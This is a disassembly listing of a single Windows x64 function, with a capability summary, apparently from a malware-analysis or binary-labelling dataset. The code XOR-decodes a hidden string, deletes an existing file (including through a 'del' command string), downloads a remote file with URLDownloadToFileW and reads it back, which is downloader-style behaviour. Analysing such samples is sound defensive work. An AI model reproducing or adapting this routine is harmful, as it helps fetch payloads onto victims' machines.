Function at 0x1400020f0
Capabilities:
Check if file exists
Delete file
Download url
Encode data using xor
Get file attributes
Receive data

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x120]
sub rsp, 0x220
mov rax, qword [0x14004e070]
xor rax, rsp
mov qword [rbp + 0x118], rax
mov rbx, rcx
mov qword [rsp + 0x38], rcx
xor r12d, r12d
lea rdx, [0x140047a1c]
xor ecx, ecx
call fcn.140015268
movdqa xmm0, xmmword [0x140047ef0]
movdqu xmmword [rbp + 0x60], xmm0
movdqa xmm1, xmmword [0x140047ee0]
movdqu xmmword [rbp + 0x70], xmm1
movdqa xmm0, xmmword [0x140047f00]
movdqu xmmword [rbp + 0x80], xmm0
mov dword [rbp + 0x90], 0x80446
mov dword [rbp + 0x94], 0x54607
mov dword [rbp + 0x98], 0x1d470207
mov word [rbp + 0x9c], 0x1d11
xor eax, eax
mov byte [rbp + 0x9e], al
mov ecx, r12d
nop dword [rax]
movzx eax, byte [rbp + 0x60]
xor byte [rbp + rcx + 0x61], al
inc rcx
cmp rcx, 0x3d
jb 0x1400021a0
mov byte [rbp + 0x9e], r12b
xorps xmm0, xmm0
movups xmmword [rbp + 0xc0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xd0], xmm1
lea rax, [rbp + 0x61]
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], r12b
jne 0x1400021e0
lea rdx, [rbp + 0x61]
lea rcx, [rbp + 0xc0]
call fcn.140007b40
nop
movups xmm0, xmmword [0x140047a20]
movups xmmword [rbp + 0xe0], xmm0
movups xmm1, xmmword [0x140047a30]
movups xmmword [rbp + 0xf0], xmm1
movups xmm0, xmmword [0x140047a40]
movups xmmword [rbp + 0x100], xmm0
movsd xmm1, qword [0x140047a50]
movsd qword [rbp + 0x110], xmm1
lea rcx, [rbp + 0xe0]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x14000225e
lea rcx, [rbp + 0xe0]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov ecx, 6
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rbp + 0xe0]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x140002287
lea rcx, str.del_C:windowsMS_DOSconfig.txt
call fcn.14001b8e4
mov ecx, 6
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [rbp + 0xc0]
cmp qword [rbp + 0xd8], 0x10
cmovae rdx, qword [rbp + 0xc0]
mov r8, qword [rbp + 0xd0]
add r8, rdx
lea rdx, [rbp + 0xc0]
cmp qword [rbp + 0xd8], 0x10
cmovae rdx, qword [rbp + 0xc0]
lea rcx, [rbp + 0xa0]
call fcn.1400074c0
nop
lea rdx, [rbp + 0xa0]
cmp qword [rbp + 0xb8], 8
cmovae rdx, qword [rbp + 0xa0]
mov qword [rsp + 0x20], r12
xor r9d, r9d
lea r8, [rbp + 0xe0]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
lea rcx, [rsp + 0x50]
call fcn.140003e40
nop
cmp qword [rbp - 0x20], 0
je 0x1400025f5
xorps xmm0, xmm0
movups xmmword [rbp + 0x60], xmm0
mov qword [rbp + 0x70], r12
mov qword [rbp + 0x78], 0xf
mov byte [rbp + 0x60], 0
mov rax, qword [rsp + 0x50]
movsxd rcx, dword [rax + 4]
mov rax, qword [rbp + rcx - 0x70]
mov rdi, qword [rax + 8]
mov qword [rsp + 0x40], rdi
mov rax, qword [rdi]
mov rcx, rdi
call qword [rax + 8]
nop
lea rcx, [rsp + 0x38]
call fcn.140007100
mov r8, qword [rax]
mov dl, 0xa
mov rcx, rax
call qword [r8 + 0x40]
movzx esi, al
test rdi, rdi
je 0x140002382
mov rax, qword [rdi]
mov rcx, rdi
call qword [rax + 0x10]
test rax, rax
je 0x140002382
mov r8, qword [rax]
mov edx, 1
mov rcx, rax
call qword [r8]
movzx r8d, sil
lea rdx, [rbp + 0x60]
lea rcx, [rsp + 0x50]
call fcn.14000c4a0
mov rdx, rax
mov rax, qword [rax]
movsxd rcx, dword [rax + 4]
test byte [rcx + rdx + 0x10], 6
jne 0x1400023b8
lea rdx, [0x1400477cb]
lea rcx, [0x14004f4a0]
call fcn.140007210
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], r12
mov qword [rbx + 0x18], r12
lea r15, [rbp + 0x60]
mov r14, qword [rbp + 0x60]
mov r13, qword [rbp + 0x78]
cmp r13, 0x10
cmovae r15, r14
movabs rdi, 0x7fffffffffffffff
mov rsi, qword [rbp + 0x70]
cmp rsi, rdi
ja 0x140002738
mov qword [rbx + 0x18], 0xf
cmp rsi, 0x10
jae 0x140002419
mov qword [rbx + 0x10], rsi
mov r8d, 0x10
mov rdx, r15
mov rcx, rbx
call fcn.1400106d0
jmp 0x1400024aa
mov rax, rsi
or rax, 0xf
cmp rax, rdi
jbe 0x140002455
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.14000e7d8
mov rcx, rax
test rax, rax
je 0x14000273e
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x14000248f
mov rdi, rax
mov ecx, 0x16
cmp rax, rcx
cmovb rdi, rcx
lea rcx, [rdi + 1]
cmp rcx, 0x1000
jb 0x140002480
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140002732
jmp 0x140002433
test rcx, rcx
je 0x14000248c
call fcn.14000e7d8
jmp 0x14000248f
mov rax, r12
mov qword [rbx], rax
mov qword [rbx + 0x10], rsi
mov qword [rbx + 0x18], rdi
lea r8, [rsi + 1]
mov rdx, r15
mov rcx, rax
call fcn.1400106d0
nop
cmp r13, 0x10
jb 0x1400024e2
lea rdx, [r13 + 1]
mov rax, r14
cmp rdx, 0x1000
jb 0x1400024d9
add rdx, 0x27
mov r14, qword [r14 - 8]
sub rax, r14
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002744
mov rcx, r14
call fcn.14000e7d0
nop
mov rax, qword [rsp + 0x50]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x50], rax
mov rax, qword [rsp + 0x50]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rsp + rcx + 0x4c], edx
lea rcx, [rsp + 0x60]
call fcn.140003ad0
mov rax, qword [rsp + 0x50]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x50], rax
mov rax, qword [rsp + 0x50]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x18]
mov dword [rsp + rcx + 0x4c], edx
lea rax, vtable.std::ios_base.0
mov qword [rbp], rax
lea rcx, [rbp]
call fcn.14000dc2c
nop
mov rdx, qword [rbp + 0xb8]
cmp rdx, 8
jb 0x140002594
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000258f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000274a
call fcn.14000e7d0
movdqa xmm0, xmmword [0x140047ec0]
movdqu xmmword [rbp + 0xb0], xmm0
mov word [rbp + 0xa0], r12w
mov rdx, qword [rbp + 0xd8]
cmp rdx, 0x10
jb 0x1400025ed
inc rdx
mov rcx, qword [rbp + 0xc0]
mov r8, rcx
cmp rdx, 0x1000
jb 0x1400025e8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub r8, rcx
add r8, 0xfffffffffffffff8
cmp r8, 0x1f
ja 0x14000272c
call fcn.14000e7d0
mov rax, rbx
jmp 0x1400026fc
mov rax, qword [rsp + 0x50]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x50], rax
mov rax, qword [rsp + 0x50]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rsp + rcx + 0x4c], edx
lea rcx, [rsp + 0x60]
call fcn.140003ad0
mov rax, qword [rsp + 0x50]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x50], rax
mov rax, qword [rsp + 0x50]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x18]
mov dword [rsp + rcx + 0x4c], edx
lea rax, vtable.std::ios_base.0
mov qword [rbp], rax
lea rcx, [rbp]
call fcn.14000dc2c
nop
mov rdx, qword [rbp + 0xb8]
cmp rdx, 8
jb 0x1400026a7
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400026a2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000274a
call fcn.14000e7d0
movdqa xmm0, xmmword [0x140047ec0]
movdqu xmmword [rbp + 0xb0], xmm0
mov word [rbp + 0xa0], r12w
mov rdx, qword [rbp + 0xd8]
cmp rdx, 0x10
jb 0x1400026fc
inc rdx
mov rcx, qword [rbp + 0xc0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400026f7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000272c
call fcn.14000e7d0
mov rcx, qword [rbp + 0x118]
xor rcx, rsp
call fcn.14000e7b0
lea r11, [rsp + 0x220]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.14001d270
nop
call fcn.140001390
nop
call fcn.140001430
int3
call fcn.14001d270
nop
call fcn.14001d270
nop
call fcn.14001d270
int3